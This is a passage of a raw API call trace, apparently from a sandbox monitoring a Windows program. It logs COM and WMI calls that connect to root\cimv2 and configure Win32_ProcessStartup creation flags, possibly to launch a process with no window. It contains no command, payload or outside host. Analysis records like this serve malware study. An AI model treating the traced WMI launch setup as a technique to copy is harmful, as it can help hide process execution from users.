WbemLocator:IUnknown:AddRef (This=0x1bfa7090) returned 0x3 [0076.374] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7090, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0076.374] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7090, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0076.374] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7090, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0076.374] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0076.374] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0076.374] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7090, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0076.374] WbemLocator:IUnknown:Release (This=0x1bfa7090) returned 0x2 [0076.374] WbemLocator:IUnknown:Release (This=0x1bfa7090) returned 0x1 [0076.374] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0076.374] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0076.374] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7090, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1bfa7090) returned 0x0 [0076.375] WbemLocator:IUnknown:AddRef (This=0x1bfa7090) returned 0x3 [0076.375] WbemLocator:IUnknown:Release (This=0x1bfa7090) returned 0x2 [0076.375] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6ff20, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0076.375] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ff20, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0076.375] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ff20, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0076.375] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1bfa70b0) returned 0x0 [0076.375] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bfa70b0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1130280) returned 0x0 [0076.551] WbemLocator:IUnknown:QueryInterface (in: This=0x1130280, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bf96420) returned 0x0 [0076.551] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf96420, pProxy=0x1130280, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0076.551] WbemLocator:IUnknown:Release (This=0x1bf96420) returned 0x1 [0076.551] WbemLocator:IUnknown:QueryInterface (in: This=0x1130280, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bf96460) returned 0x0 [0076.551] WbemLocator:IUnknown:QueryInterface (in: This=0x1130280, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf96420) returned 0x0 [0076.551] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf96420, pProxy=0x1130280, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0076.552] WbemLocator:IUnknown:Release (This=0x1bf96420) returned 0x2 [0076.552] WbemLocator:IUnknown:Release (This=0x1bf96460) returned 0x1 [0076.552] CoTaskMemFree (pv=0x1bf99b80) [0076.552] WbemLocator:IUnknown:AddRef (This=0x1130280) returned 0x2 [0076.552] WbemLocator:IUnknown:Release (This=0x1bfa70b0) returned 0x0 [0076.553] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0076.553] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0076.553] WbemLocator:IUnknown:QueryInterface (in: This=0x1130280, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bf96430) returned 0x0 [0076.553] WbemLocator:IRpcOptions:Query (in: This=0x1bf96430, pPrx=0x115f830, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0076.553] WbemLocator:IUnknown:Release (This=0x1bf96430) returned 0x2 [0076.553] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0076.553] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0076.553] WbemLocator:IUnknown:QueryInterface (in: This=0x1130280, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1130280) returned 0x0 [0076.554] WbemLocator:IUnknown:Release (This=0x1130280) returned 0x2 [0076.554] SysStringLen (param_1=0x0) returned 0x0 [0076.554] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6fe60, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0076.554] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6fe60, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0076.554] IWbemServices:GetObject (in: This=0x1130280, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x11fce00, ppCallResult=0x0) returned 0x0 [0076.556] IWbemClassObject:Get (in: This=0x11fce00, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0076.556] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0076.557] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0076.557] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0076.557] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0076.557] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0076.557] IUnknown:Release (This=0x111f638) returned 0x1 [0076.559] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1bfa70b0) returned 0x0 [0076.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa70b0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0076.559] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa70b0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1168b40) returned 0x0 [0076.559] WbemDefPath:IUnknown:Release (This=0x1bfa70b0) returned 0x0 [0076.560] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168b40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1168b40) returned 0x0 [0076.560] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168b40, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0076.560] WbemDefPath:IUnknown:AddRef (This=0x1168b40) returned 0x3 [0076.560] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168b40, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0076.560] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168b40, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0076.560] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168b40, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1bfa70d0) returned 0x0 [0076.560] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa70d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0076.560] WbemDefPath:IUnknown:Release (This=0x1bfa70d0) returned 0x3 [0076.560] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0076.560] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0076.560] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168b40, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0076.561] WbemDefPath:IUnknown:Release (This=0x1168b40) returned 0x2 [0076.561] WbemDefPath:IUnknown:Release (This=0x1168b40) returned 0x1 [0076.561] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0076.561] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0076.561] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168b40, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1168b40) returned 0x0 [0076.561] WbemDefPath:IUnknown:AddRef (This=0x1168b40) returned 0x3 [0076.561] WbemDefPath:IUnknown:Release (This=0x1168b40) returned 0x2 [0076.561] WbemDefPath:IWbemPath:SetText (This=0x1168b40, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0076.561] IWbemClassObject:Get (in: This=0x11fce00, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a355f0*=0, plFlavor=0x2a355f4*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a355f0*=19, plFlavor=0x2a355f4*=0) returned 0x0 [0076.561] IWbemClassObject:Get (in: This=0x11fce00, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a355f0*=19, plFlavor=0x2a355f4*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a355f0*=19, plFlavor=0x2a355f4*=0) returned 0x0 [0076.561] IWbemClassObject:Put (This=0x11fce00, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0076.561] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1168f00, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0076.561] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0076.562] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0076.562] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0076.562] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0076.562] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0076.562] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0076.562] IUnknown:Release (This=0x111f638) returned 0x1 [0076.564] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1bfa7230) returned 0x0 [0076.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa7230, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0076.564] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa7230, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bf6ffe0) returned 0x0 [0076.564] WbemDefPath:IUnknown:Release (This=0x1bfa7230) returned 0x0 [0076.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ffe0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bf6ffe0) returned 0x0 [0076.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ffe0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0076.565] WbemDefPath:IUnknown:AddRef (This=0x1bf6ffe0) returned 0x3 [0076.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ffe0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0076.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ffe0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0076.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ffe0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1bfa7270) returned 0x0 [0076.565] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa7270, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0076.565] WbemDefPath:IUnknown:Release (This=0x1bfa7270) returned 0x3 [0076.565] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0076.565] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0076.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ffe0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0076.565] WbemDefPath:IUnknown:Release (This=0x1bf6ffe0) returned 0x2 [0076.565] WbemDefPath:IUnknown:Release (This=0x1bf6ffe0) returned 0x1 [0076.565] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0076.565] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0076.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ffe0, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bf6ffe0) returned 0x0 [0076.565] WbemDefPath:IUnknown:AddRef (This=0x1bf6ffe0) returned 0x3 [0076.566] WbemDefPath:IUnknown:Release (This=0x1bf6ffe0) returned 0x2 [0076.566] WbemDefPath:IWbemPath:SetText (This=0x1bf6ffe0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0076.566] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6ffe0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0076.566] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ffe0, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0076.566] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ffe0, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0076.566] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0076.566] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0076.566] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0076.566] IUnknown:Release (This=0x111f638) returned 0x1 [0076.567] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1bfa7370) returned 0x0 [0076.567] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7370, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0076.567] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bfa7370, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1bfa7390) returned 0x0 [0076.567] WbemLocator:IUnknown:Release (This=0x1bfa7370) returned 0x0 [0076.567] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7390, 